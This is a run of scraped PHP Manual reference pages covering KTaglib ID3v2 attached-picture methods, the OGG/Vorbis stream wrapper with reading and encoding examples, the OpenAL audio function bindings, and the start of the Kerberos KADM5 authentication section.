  • KTaglib_ID3v2_AttachedPictureFrame::getMimeType »
  • PHP Manual
  • KTaglib_ID3v2_AttachedPictureFrame
  • Returns a description for the picture in a picture frame

KTaglib_ID3v2_AttachedPictureFrame::getDescription

(0.0.1)

KTaglib_ID3v2_AttachedPictureFrame::getDescription — Returns a description for the picture in a picture frame

Description

public string KTaglib_ID3v2_AttachedPictureFrame::getDescription ( void )

Returns the attached description for a picture frame in an ID3v2.x frame.

Return Values

Returns a description for the picture in a picture frame

User Contributed Notes

There are no user contributed notes for this page.


Returns the mime type of the picture

  • « KTaglib_ID3v2_AttachedPictureFrame::getDescription
  • KTaglib_ID3v2_AttachedPictureFrame::getType »
  • PHP Manual
  • KTaglib_ID3v2_AttachedPictureFrame
  • Returns the mime type of the picture

KTaglib_ID3v2_AttachedPictureFrame::getMimeType

(0.2.0)

KTaglib_ID3v2_AttachedPictureFrame::getMimeType — Returns the mime type of the picture

Description

public string KTaglib_ID3v2_AttachedPictureFrame::getMimeType ( void )

Returns the mime type of the image represented by the attached picture frame.

Please notice that this method might return different types. While ID3v2.2 have a mime type that doesn't start with "image/", ID3v2.3 and v2.4 usually start with "image/". Therefore the method might return "image/png" for IDv2.3 frames and just "PNG" for ID3v2.2 frames.

Notice that even the frame is an attached picture, the mime type might not be set and therefore an empty string might be returned.

Return Values

Returns the mime type of the image represented by the attached picture frame.

User Contributed Notes

There are no user contributed notes for this page.


Returns the type of the image

  • « KTaglib_ID3v2_AttachedPictureFrame::getMimeType
  • KTaglib_ID3v2_AttachedPictureFrame::savePicture »
  • PHP Manual
  • KTaglib_ID3v2_AttachedPictureFrame
  • Returns the type of the image

KTaglib_ID3v2_AttachedPictureFrame::getType

(0.2.0)

KTaglib_ID3v2_AttachedPictureFrame::getType — Returns the type of the image

Description

public int KTaglib_ID3v2_AttachedPictureFrame::getType ( void )

Returns the type of the image.

The ID3v2 specification allows an AttachedPictureFrame to set the type of an image. This can be e.g. FrontCover or FileIcon. Please refer to the KTaglib_ID3v2_AttachedPictureFrame class description for a list of available types.

Return Values

Returns the integer representation of the type.

User Contributed Notes

There are no user contributed notes for this page.


Saves the picture to a file

  • « KTaglib_ID3v2_AttachedPictureFrame::getType
  • KTaglib_ID3v2_AttachedPictureFrame::setMimeType »
  • PHP Manual
  • KTaglib_ID3v2_AttachedPictureFrame
  • Saves the picture to a file

KTaglib_ID3v2_AttachedPictureFrame::savePicture

(0.0.1)

KTaglib_ID3v2_AttachedPictureFrame::savePicture — Saves the picture to a file

Description

public bool KTaglib_ID3v2_AttachedPictureFrame::savePicture ( string $filename )

Saves the attached picture to the given filename.

Return Values

Returns true on success, otherwise false

User Contributed Notes

There are no user contributed notes for this page.


Set's the mime type of the picture

  • « KTaglib_ID3v2_AttachedPictureFrame::savePicture
  • KTaglib_ID3v2_AttachedPictureFrame::setPicture »
  • PHP Manual
  • KTaglib_ID3v2_AttachedPictureFrame
  • Set's the mime type of the picture

KTaglib_ID3v2_AttachedPictureFrame::setMimeType

(0.2.0)

KTaglib_ID3v2_AttachedPictureFrame::setMimeType — Set's the mime type of the picture

Description

public string KTaglib_ID3v2_AttachedPictureFrame::getMimeType ( string $type )

Sets the mime type of the image. This should in most cases be "image/png" or "image/jpeg".

User Contributed Notes

There are no user contributed notes for this page.


Sets the frame picture to the given image

  • « KTaglib_ID3v2_AttachedPictureFrame::setMimeType
  • KTaglib_ID3v2_AttachedPictureFrame::setType »
  • PHP Manual
  • KTaglib_ID3v2_AttachedPictureFrame
  • Sets the frame picture to the given image

KTaglib_ID3v2_AttachedPictureFrame::setPicture

(0.0.1)

KTaglib_ID3v2_AttachedPictureFrame::setPicture — Sets the frame picture to the given image

Description

public void KTaglib_ID3v2_AttachedPictureFrame::setPicture ( string $filename )

Sets the picture to the give image. The image is loaded from the given filename. Please note that the picture is not saved unless you call the save method of the corresponding file object.

Return Values

Returns true on success, otherwise false

User Contributed Notes

There are no user contributed notes for this page.


Set the type of the image

  • « KTaglib_ID3v2_AttachedPictureFrame::setPicture
  • oggvorbis »
  • PHP Manual
  • KTaglib_ID3v2_AttachedPictureFrame
  • Set the type of the image

KTaglib_ID3v2_AttachedPictureFrame::setType

(0.2.0)

KTaglib_ID3v2_AttachedPictureFrame::setType — Set the type of the image

Description

public void KTaglib_ID3v2_AttachedPictureFrame::setType ( int $type )

Sets the type of the image. This can be e.g. FrontCover or FileIcon. Please refer to the KTaglib_ID3v2_AttachedPictureFrame class description for a list of available types and their constant mappings.

User Contributed Notes

There are no user contributed notes for this page.


OGG/Vorbis

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Context options
  • Examples
    • Examples on using the ogg:// wrapper.

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The OGG/Vorbis file format, as defined by » http://www.vorbis.com/, is a scheme for compressing audio streams by multiple factors with a minimum of quality loss. This extension adds Ogg Vorbis support to PHP's URL Wrappers. When used in read mode, compressed OGG/Vorbis data is expanded to raw PCM audio in one of six PCM encoding formats listed below.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This extension requires PHP >= 4.3.0, » libogg >= 1.0, and » libvorbis >= 1.0.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/oggvorbis

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

OGG/Vorbis supports PCM encodings in the following formats
Constant | Definition
OGGVORBIS_PCM_U8 | Unsigned 8-bit PCM.
OGGVORBIS_PCM_S8 | Signed 8-bit PCM.
OGGVORBIS_PCM_U16_LE | Unsigned 16-bit PCM. Little Endian byte order.
OGGVORBIS_PCM_U16_BE | Unsigned 16-bit PCM. Big Endian byte order.
OGGVORBIS_PCM_S16_LE | Signed 16-bit PCM. Little Endian byte order.
OGGVORBIS_PCM_S16_BE | Signed 16-bit PCM. Big Endian byte order.

User Contributed Notes

There are no user contributed notes for this page.


Context options

OGG/Vorbis tuning options
Option | Definition | Relevance | Default
pcm_mode | PCM byte encoding used. See constants below. | Read / Write | OGGVORBIS_PCM_S16_LE
rate | PCM Sampling rate. Measured in Hz. | Write only | 44100
bitrate | Vorbis Average Bitrate Encoding / Variable Bitrate Encoding. Measured in bps (ABR) or Quality level (VBR: 0.0 to 1.0). 128000 ABR is rough equal to 0.4 VBR. | Write only | 128000
channels | Number of PCM channels. 1 == Mono, 2 == Stereo. | Write only | 2
serialno | Serial Number of stream within file. Must be unique within file. Because of the potential to select a duplicate serial number within a chained file, make efforts to manually assign unique numbers when encoding. | Write only | Random
comments | Associative array of file comments. Will be translated to strtoupper($name) . "=$value". Note: This context option is not available in oggvorbis-0.1 | Write only | array('ENCODER' => 'PHP/OggVorbis, http://pear.php.net/oggvorbis')

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Examples on using the ogg:// wrapper.

User Contributed Notes

There are no user contributed notes for this page.


Examples on using the ogg:// wrapper.

Example #1 Reading an OGG/Vorbis file

<?php
dl("oggvorbis.so");

/* By default, ogg:// will decode to Signed 16-bit Little Endian */
$fp = fopen('ogg://myaudio.ogg', 'r');

/* Collect some information about the file. */
$metadata = stream_get_meta_data($fp);

/* Inspect the first song (usually the only song,
   but OGG/Vorbis files may be chained) */
$songdata = $metadata['wrapper_data'][0];

echo "OGG/Vorbis file encoded by: {$songdata['vendor']}\n.";
echo "  {$songdata['channels']} channels of {$songdata['rate']}Hz sampling encoded at {$songdata['bitrate_nominal']}bps.\n";
foreach($songdata['comments'] as $comment) {
    echo "  $comment\n";
}

while ($audio_data = fread($fp, 8192)) {
  /* Do something with the PCM audio we're extracting from the OGG.
     Copying to /dev/dsp is a good target on linux systems,
     just remember to setup the device for your sampling mode first. */
}

fclose($fp);

?>

Example #2 Encode an audio file to OGG/Vorbis

<?php
dl('oggvorbis.so');

$context = stream_context_create(array('ogg'=>array(
             'pcm_mode' => OGGVORBIS_PCM_S8,  /* Signed 8bit audio */
             'rate' => 44100,                 /* 44kHz CD quality */
             'bitrate' => 0.5,                /* Midquality VBR */
             'channels' => 1,                 /* Mono */
             'serialno' => 12345)));          /* Unique within our stream */

/* Open file for appending.  This will "chain" a second OGG stream at the end of the first. */
$ogg = fopen('ogg://mysong.ogg', 'a', false, $context);

$pcm = fopen('mysample.pcm', 'r');

/* Compress the raw PCM audio from mysample.pcm into mysong.ogg */
stream_copy_to_stream($pcm, $ogg);

fclose($pcm);
fclose($ogg);
?>

User Contributed Notes

There are no user contributed notes for this page.


OpenAL Audio Bindings

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • OpenAL Functions
    • openal_buffer_create — Generate OpenAL buffer
    • openal_buffer_data — Load a buffer with data
    • openal_buffer_destroy — Destroys an OpenAL buffer
    • openal_buffer_get — Retrieve an OpenAL buffer property
    • openal_buffer_loadwav — Load a .wav file into a buffer
    • openal_context_create — Create an audio processing context
    • openal_context_current — Make the specified context current
    • openal_context_destroy — Destroys a context
    • openal_context_process — Process the specified context
    • openal_context_suspend — Suspend the specified context
    • openal_device_close — Close an OpenAL device
    • openal_device_open — Initialize the OpenAL audio layer
    • openal_listener_get — Retrieve a listener property
    • openal_listener_set — Set a listener property
    • openal_source_create — Generate a source resource
    • openal_source_destroy — Destroy a source resource
    • openal_source_get — Retrieve an OpenAL source property
    • openal_source_pause — Pause the source
    • openal_source_play — Start playing the source
    • openal_source_rewind — Rewind the source
    • openal_source_set — Set source property
    • openal_source_stop — Stop playing the source
    • openal_stream — Begin streaming on a source

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Platform independent audio bindings. Requires the » OpenAL library.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/openal.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines four resource types:
Open AL(Device) - Returned by openal_device_open(),
Open AL(Context) - Returned by openal_context_create(),
Open AL(Buffer) - Returned by openal_buffer_create(),
and Open AL(Source) - Returned by openal_source_create().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

ALC_FREQUENCY (integer)
Context Attribute
ALC_REFRESH (integer)
Context Attribute
ALC_SYNC (integer)
Context Attribute
AL_FREQUENCY (integer)
Buffer Setting
AL_BITS (integer)
Buffer Setting
AL_CHANNELS (integer)
Buffer Setting
AL_SIZE (integer)
Buffer Setting
AL_BUFFER (integer)
Source/Listener Setting (Integer)
AL_SOURCE_RELATIVE (integer)
Source/Listener Setting (Integer)
AL_SOURCE_STATE (integer)
Source/Listener Setting (Integer)
AL_PITCH (integer)
Source/Listener Setting (Float)
AL_GAIN (integer)
Source/Listener Setting (Float)
AL_MIN_GAIN (integer)
Source/Listener Setting (Float)
AL_MAX_GAIN (integer)
Source/Listener Setting (Float)
AL_MAX_DISTANCE (integer)
Source/Listener Setting (Float)
AL_ROLLOFF_FACTOR (integer)
Source/Listener Setting (Float)
AL_CONE_OUTER_GAIN (integer)
Source/Listener Setting (Float)
AL_CONE_INNER_ANGLE (integer)
Source/Listener Setting (Float)
AL_CONE_OUTER_ANGLE (integer)
Source/Listener Setting (Float)
AL_REFERENCE_DISTANCE (integer)
Source/Listener Setting (Float)
AL_POSITION (integer)
Source/Listener Setting (Float Vector)
AL_VELOCITY (integer)
Source/Listener Setting (Float Vector)
AL_DIRECTION (integer)
Source/Listener Setting (Float Vector)
AL_ORIENTATION (integer)
Source/Listener Setting (Float Vector)
AL_FORMAT_MONO8 (integer)
PCM Format
AL_FORMAT_MONO16 (integer)
PCM Format
AL_FORMAT_STEREO8 (integer)
PCM Format
AL_FORMAT_STEREO16 (integer)
PCM Format
AL_INITIAL (integer)
Source State
AL_PLAYING (integer)
Source State
AL_PAUSED (integer)
Source State
AL_STOPPED (integer)
Source State
AL_LOOPING (integer)
Source State
AL_TRUE (integer)
Boolean value recognized by OpenAL
AL_FALSE (integer)
Boolean value recognized by OpenAL

User Contributed Notes

There are no user contributed notes for this page.


OpenAL Functions

Table of Contents

  • openal_buffer_create — Generate OpenAL buffer
  • openal_buffer_data — Load a buffer with data
  • openal_buffer_destroy — Destroys an OpenAL buffer
  • openal_buffer_get — Retrieve an OpenAL buffer property
  • openal_buffer_loadwav — Load a .wav file into a buffer
  • openal_context_create — Create an audio processing context
  • openal_context_current — Make the specified context current
  • openal_context_destroy — Destroys a context
  • openal_context_process — Process the specified context
  • openal_context_suspend — Suspend the specified context
  • openal_device_close — Close an OpenAL device
  • openal_device_open — Initialize the OpenAL audio layer
  • openal_listener_get — Retrieve a listener property
  • openal_listener_set — Set a listener property
  • openal_source_create — Generate a source resource
  • openal_source_destroy — Destroy a source resource
  • openal_source_get — Retrieve an OpenAL source property
  • openal_source_pause — Pause the source
  • openal_source_play — Start playing the source
  • openal_source_rewind — Rewind the source
  • openal_source_set — Set source property
  • openal_source_stop — Stop playing the source
  • openal_stream — Begin streaming on a source

User Contributed Notes

Tjeerd 02-Feb-2007 05:37
OpenAL aims to provide a standardized API for something called '3D' sound, just like OpenGL does for '3D' video rendering.

The fun part of OpenAL is that it does all the DSP for you, so you don't need to know a lot about audio. Since OpenAL comes from Creative Labs, it supports hardware rendering of audio with most if not all SoundBlaster audio controllers. They come with chips from EMU-systems and are specifically designed to mix down multichannel audio with DSP effects like reverb and chorus, which could consume a lot CPU speed.

The downside of OpenAL is that (at this time of writing) it is focus on games only. It doesn't do MIDI at all, it doesn't record anything, it doesn't work like a synthesizer. The only thing you can do with OpenAL is play sounds in a simulated 3D environment.
It probably doesn't work on the web.

To use OpenAL you need to read the documentation about OpenAL.

Note concerning audio users: there's no such thing as '3D' audio with speakers. Technically, when people have only two ears, they really can't distinguish sound from above or below, even in front or from behind. To achieve this people merely hear volume, the brightness of sound and the phase difference. One should be able to hear more '3D' sound with only two quality-class speakers than with a consumer class 5.1-set.
cweiske at cweiske dot de 06-Sep-2006 10:31
I made a PHP-Gtk2 OpenAL demo which allows you to define as many sound sources as you like and position them relative to the listener by drag and drop: http://gnope.org/p/Tools_OpenALdemo


Generate OpenAL buffer

  • « OpenAL Functions
  • openal_buffer_data »
  • PHP Manual
  • OpenAL Functions
  • Generate OpenAL buffer

openal_buffer_create

(PECL openal >= 0.1.0)

openal_buffer_create — Generate OpenAL buffer

Description

resource openal_buffer_create ( void )

Return Values

Returns an Open AL(Buffer) resource on success or FALSE on failure.

See Also

  • openal_buffer_loadwav() - Load a .wav file into a buffer
  • openal_buffer_data() - Load a buffer with data

User Contributed Notes

There are no user contributed notes for this page.


Load a buffer with data

  • « openal_buffer_create
  • openal_buffer_destroy »
  • PHP Manual
  • OpenAL Functions
  • Load a buffer with data

openal_buffer_data

(PECL openal >= 0.1.0)

openal_buffer_data — Load a buffer with data

Description

bool openal_buffer_data ( resource $buffer , int $format , string $data , int $freq )

Parameters

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

format

Format of data, one of: AL_FORMAT_MONO8, AL_FORMAT_MONO16, AL_FORMAT_STEREO8 and AL_FORMAT_STEREO16

data

Block of binary audio data in the format and freq specified.

freq

Frequency of data given in Hz.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_buffer_loadwav() - Load a .wav file into a buffer
  • openal_stream() - Begin streaming on a source

User Contributed Notes

There are no user contributed notes for this page.


Destroys an OpenAL buffer

  • « openal_buffer_data
  • openal_buffer_get »
  • PHP Manual
  • OpenAL Functions
  • Destroys an OpenAL buffer

openal_buffer_destroy

(PECL openal >= 0.1.0)

openal_buffer_destroy — Destroys an OpenAL buffer

Description

bool openal_buffer_destroy ( resource $buffer )

Parameters

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_buffer_create() - Generate OpenAL buffer

User Contributed Notes

There are no user contributed notes for this page.


Retrieve an OpenAL buffer property

  • « openal_buffer_destroy
  • openal_buffer_loadwav »
  • PHP Manual
  • OpenAL Functions
  • Retrieve an OpenAL buffer property

openal_buffer_get

(PECL openal >= 0.1.0)

openal_buffer_get — Retrieve an OpenAL buffer property

Description

int openal_buffer_get ( resource $buffer , int $property )

Parameters

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

property

Specific property, one of: AL_FREQUENCY, AL_BITS, AL_CHANNELS and AL_SIZE.

Return Values

Returns an integer value appropriate to the property requested or FALSE on failure.

See Also

  • openal_buffer_create() - Generate OpenAL buffer

User Contributed Notes

There are no user contributed notes for this page.


Load a .wav file into a buffer

  • « openal_buffer_get
  • openal_context_create »
  • PHP Manual
  • OpenAL Functions
  • Load a .wav file into a buffer

openal_buffer_loadwav

(PECL openal >= 0.1.0)

openal_buffer_loadwav — Load a .wav file into a buffer

Description

bool openal_buffer_loadwav ( resource $buffer , string $wavfile )

Parameters

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

wavfile

Path to .wav file on local file system.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_buffer_data() - Load a buffer with data
  • openal_stream() - Begin streaming on a source

User Contributed Notes

There are no user contributed notes for this page.


Create an audio processing context

  • « openal_buffer_loadwav
  • openal_context_current »
  • PHP Manual
  • OpenAL Functions
  • Create an audio processing context

openal_context_create

(PECL openal >= 0.1.0)

openal_context_create — Create an audio processing context

Description

resource openal_context_create ( resource $device )

Parameters

device

An Open AL(Device) resource (previously created by openal_device_open()).

Return Values

Returns an Open AL(Context) resource on success or FALSE on failure.

See Also

  • openal_device_open() - Initialize the OpenAL audio layer
  • openal_context_destroy() - Destroys a context

User Contributed Notes

There are no user contributed notes for this page.


Make the specified context current

  • « openal_context_create
  • openal_context_destroy »
  • PHP Manual
  • OpenAL Functions
  • Make the specified context current

openal_context_current

(PECL openal >= 0.1.0)

openal_context_current — Make the specified context current

Description

bool openal_context_current ( resource $context )

Parameters

context

An Open AL(Context) resource (previously created by openal_context_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_context_create() - Create an audio processing context

User Contributed Notes

There are no user contributed notes for this page.


Destroys a context

  • « openal_context_current
  • openal_context_process »
  • PHP Manual
  • OpenAL Functions
  • Destroys a context

openal_context_destroy

(PECL openal >= 0.1.0)

openal_context_destroy — Destroys a context

Description

bool openal_context_destroy ( resource $context )

Parameters

context

An Open AL(Context) resource (previously created by openal_context_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_context_create() - Create an audio processing context

User Contributed Notes

There are no user contributed notes for this page.


Process the specified context

  • « openal_context_destroy
  • openal_context_suspend »
  • PHP Manual
  • OpenAL Functions
  • Process the specified context

openal_context_process

(PECL openal >= 0.1.0)

openal_context_process — Process the specified context

Description

bool openal_context_process ( resource $context )

Parameters

context

An Open AL(Context) resource (previously created by openal_context_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_context_create() - Create an audio processing context
  • openal_context_current() - Make the specified context current
  • openal_context_suspend() - Suspend the specified context

User Contributed Notes

There are no user contributed notes for this page.


Suspend the specified context

  • « openal_context_process
  • openal_device_close »
  • PHP Manual
  • OpenAL Functions
  • Suspend the specified context

openal_context_suspend

(PECL openal >= 0.1.0)

openal_context_suspend — Suspend the specified context

Description

bool openal_context_suspend ( resource $context )

Parameters

context

An Open AL(Context) resource (previously created by openal_context_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_context_create() - Create an audio processing context
  • openal_context_current() - Make the specified context current
  • openal_context_process() - Process the specified context

User Contributed Notes

There are no user contributed notes for this page.


Close an OpenAL device

  • « openal_context_suspend
  • openal_device_open »
  • PHP Manual
  • OpenAL Functions
  • Close an OpenAL device

openal_device_close

(PECL openal >= 0.1.0)

openal_device_close — Close an OpenAL device

Description

bool openal_device_close ( resource $device )

Parameters

device

An Open AL(Device) resource (previously created by openal_device_open()) to be closed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_device_open() - Initialize the OpenAL audio layer

User Contributed Notes

There are no user contributed notes for this page.


Initialize the OpenAL audio layer

  • « openal_device_close
  • openal_listener_get »
  • PHP Manual
  • OpenAL Functions
  • Initialize the OpenAL audio layer

openal_device_open

(PECL openal >= 0.1.0)

openal_device_open — Initialize the OpenAL audio layer

Description

resource openal_device_open ([ string $device_desc ] )

Parameters

device_desc

Open an audio device optionally specified by device_desc. If device_desc is not specified the first available audio device will be used.

Return Values

Returns an Open AL(Device) resource on success or FALSE on failure.

See Also

  • openal_device_close() - Close an OpenAL device
  • openal_context_create() - Create an audio processing context

User Contributed Notes

There are no user contributed notes for this page.


Retrieve a listener property

  • « openal_device_open
  • openal_listener_set »
  • PHP Manual
  • OpenAL Functions
  • Retrieve a listener property

openal_listener_get

(PECL openal >= 0.1.0)

openal_listener_get — Retrieve a listener property

Description

mixed openal_listener_get ( int $property )

Parameters

property

Property to retrieve, one of:
AL_GAIN (float),
AL_POSITION (array(float,float,float)),
AL_VELOCITY (array(float,float,float)) and
AL_ORIENTATION (array(float,float,float)).

Return Values

Returns a float or array of floats (as appropriate) or FALSE on failure.

See Also

  • openal_listener_set() - Set a listener property

User Contributed Notes

There are no user contributed notes for this page.


Set a listener property

  • « openal_listener_get
  • openal_source_create »
  • PHP Manual
  • OpenAL Functions
  • Set a listener property

openal_listener_set

(PECL openal >= 0.1.0)

openal_listener_set — Set a listener property

Description

bool openal_listener_set ( int $property , mixed $setting )

Parameters

property

Property to set, one of:
AL_GAIN (float),
AL_POSITION (array(float,float,float)),
AL_VELOCITY (array(float,float,float)) and
AL_ORIENTATION (array(float,float,float)).

setting

Value to set, either float, or an array of floats as appropriate.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_listener_get() - Retrieve a listener property

User Contributed Notes

There are no user contributed notes for this page.


Generate a source resource

  • « openal_listener_set
  • openal_source_destroy »
  • PHP Manual
  • OpenAL Functions
  • Generate a source resource

openal_source_create

(PECL openal >= 0.1.0)

openal_source_create — Generate a source resource

Description

resource openal_source_create ( void )

Return Values

Returns an Open AL(Source) resource on success or FALSE on failure.

See Also

  • openal_source_set() - Set source property
  • openal_source_play() - Start playing the source
  • openal_source_destroy() - Destroy a source resource

User Contributed Notes

There are no user contributed notes for this page.


Destroy a source resource

  • « openal_source_create
  • openal_source_get »
  • PHP Manual
  • OpenAL Functions
  • Destroy a source resource

openal_source_destroy

(PECL openal >= 0.1.0)

openal_source_destroy — Destroy a source resource

Description

bool openal_source_destroy ( resource $source )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_source_create() - Generate a source resource

User Contributed Notes

There are no user contributed notes for this page.


Retrieve an OpenAL source property

  • « openal_source_destroy
  • openal_source_pause »
  • PHP Manual
  • OpenAL Functions
  • Retrieve an OpenAL source property

openal_source_get

(PECL openal >= 0.1.0)

openal_source_get — Retrieve an OpenAL source property

Description

mixed openal_source_get ( resource $source , int $property )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

property

Property to get, one of: AL_SOURCE_RELATIVE (int), AL_SOURCE_STATE (int), AL_PITCH (float), AL_GAIN (float), AL_MIN_GAIN (float), AL_MAX_GAIN (float), AL_MAX_DISTANCE (float), AL_ROLLOFF_FACTOR (float), AL_CONE_OUTER_GAIN (float), AL_CONE_INNER_ANGLE (float), AL_CONE_OUTER_ANGLE (float), AL_REFERENCE_DISTANCE (float), AL_POSITION (array(float,float,float)), AL_VELOCITY (array(float,float,float)), AL_DIRECTION (array(float,float,float)).

Return Values

Returns the type associated with the property being retrieved or FALSE on failure.

See Also

  • openal_source_create() - Generate a source resource
  • openal_source_set() - Set source property
  • openal_source_play() - Start playing the source

User Contributed Notes

There are no user contributed notes for this page.


Pause the source

  • « openal_source_get
  • openal_source_play »
  • PHP Manual
  • OpenAL Functions
  • Pause the source

openal_source_pause

(PECL openal >= 0.1.0)

openal_source_pause — Pause the source

Description

bool openal_source_pause ( resource $source )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_source_stop() - Stop playing the source
  • openal_source_play() - Start playing the source
  • openal_source_rewind() - Rewind the source

User Contributed Notes

There are no user contributed notes for this page.


Start playing the source

  • « openal_source_pause
  • openal_source_rewind »
  • PHP Manual
  • OpenAL Functions
  • Start playing the source

openal_source_play

(PECL openal >= 0.1.0)

openal_source_play — Start playing the source

Description

bool openal_source_play ( resource $source )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_source_stop() - Stop playing the source
  • openal_source_pause() - Pause the source
  • openal_source_rewind() - Rewind the source

User Contributed Notes

There are no user contributed notes for this page.


Rewind the source

  • « openal_source_play
  • openal_source_set »
  • PHP Manual
  • OpenAL Functions
  • Rewind the source

openal_source_rewind

(PECL openal >= 0.1.0)

openal_source_rewind — Rewind the source

Description

bool openal_source_rewind ( resource $source )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_source_stop() - Stop playing the source
  • openal_source_pause() - Pause the source
  • openal_source_play() - Start playing the source

User Contributed Notes

There are no user contributed notes for this page.


Set source property

  • « openal_source_rewind
  • openal_source_stop »
  • PHP Manual
  • OpenAL Functions
  • Set source property

openal_source_set

(PECL openal >= 0.1.0)

openal_source_set — Set source property

Description

bool openal_source_set ( resource $source , int $property , mixed $setting )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

property

Property to set, one of: AL_BUFFER (OpenAL(Source)), AL_LOOPING (bool), AL_SOURCE_RELATIVE (int), AL_SOURCE_STATE (int), AL_PITCH (float), AL_GAIN (float), AL_MIN_GAIN (float), AL_MAX_GAIN (float), AL_MAX_DISTANCE (float), AL_ROLLOFF_FACTOR (float), AL_CONE_OUTER_GAIN (float), AL_CONE_INNER_ANGLE (float), AL_CONE_OUTER_ANGLE (float), AL_REFERENCE_DISTANCE (float), AL_POSITION (array(float,float,float)), AL_VELOCITY (array(float,float,float)), AL_DIRECTION (array(float,float,float)).

setting

Value to assign to specified property. Refer to the description of property for a description of the value(s) expected.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_source_create() - Generate a source resource
  • openal_source_get() - Retrieve an OpenAL source property
  • openal_source_play() - Start playing the source

User Contributed Notes

There are no user contributed notes for this page.


Stop playing the source

  • « openal_source_set
  • openal_stream »
  • PHP Manual
  • OpenAL Functions
  • Stop playing the source

openal_source_stop

(PECL openal >= 0.1.0)

openal_source_stop — Stop playing the source

Description

bool openal_source_stop ( resource $source )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_source_play() - Start playing the source
  • openal_source_pause() - Pause the source
  • openal_source_rewind() - Rewind the source

User Contributed Notes

There are no user contributed notes for this page.


Begin streaming on a source

  • « openal_source_stop
  • Authentication Services »
  • PHP Manual
  • OpenAL Functions
  • Begin streaming on a source

openal_stream

(PECL openal >= 0.1.0)

openal_stream — Begin streaming on a source

Description

resource openal_stream ( resource $source , int $format , int $rate )

Parameters

source

An Open AL(Source) resource (previously created by openal_source_create()).

format

Format of data, one of: AL_FORMAT_MONO8, AL_FORMAT_MONO16, AL_FORMAT_STEREO8 and AL_FORMAT_STEREO16

rate

Frequency of data to stream given in Hz.

Return Values

Returns a stream resource on success or FALSE on failure.

See Also

  • openal_source_create() - Generate a source resource
  • fwrite() - Binary-safe file write

User Contributed Notes

There are no user contributed notes for this page.


Authentication Services

  • KADM5 — Kerberos V
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • KADM5 Functions
  • Radius
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Radius Functions

User Contributed Notes

There are no user contributed notes for this page.


Kerberos V

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
    • Constants for Attribute Flags
    • Constants for Options
  • Examples
    • Basic usage
  • KADM5 Functions
    • kadm5_chpass_principal — Changes the principal's password
    • kadm5_create_principal — Creates a kerberos principal with the given parameters
    • kadm5_delete_principal — Deletes a kerberos principal
    • kadm5_destroy — Closes the connection to the admin server and releases all related resources
    • kadm5_flush — Flush all changes to the Kerberos database
    • kadm5_get_policies — Gets all policies from the Kerberos database
    • kadm5_get_principal — Gets the principal's entries from the Kerberos database
    • kadm5_get_principals — Gets all principals from the Kerberos database
    • kadm5_init_with_password — Opens a connection to the KADM5 library
    • kadm5_modify_principal — Modifies a kerberos principal with the given parameters

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These package allows you to access Kerberos V administration servers. You can create, modify, and delete Kerberos V principals and policies.

More information about Kerberos can be found at » http://web.mit.edu/kerberos/www/.

Documentation for Kerberos and KADM5 can be found at » http://web.mit.edu/kerberos/www/krb5-1.2/krb5-1.2.8/doc/admin_toc.html.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/kadm5.

Note:

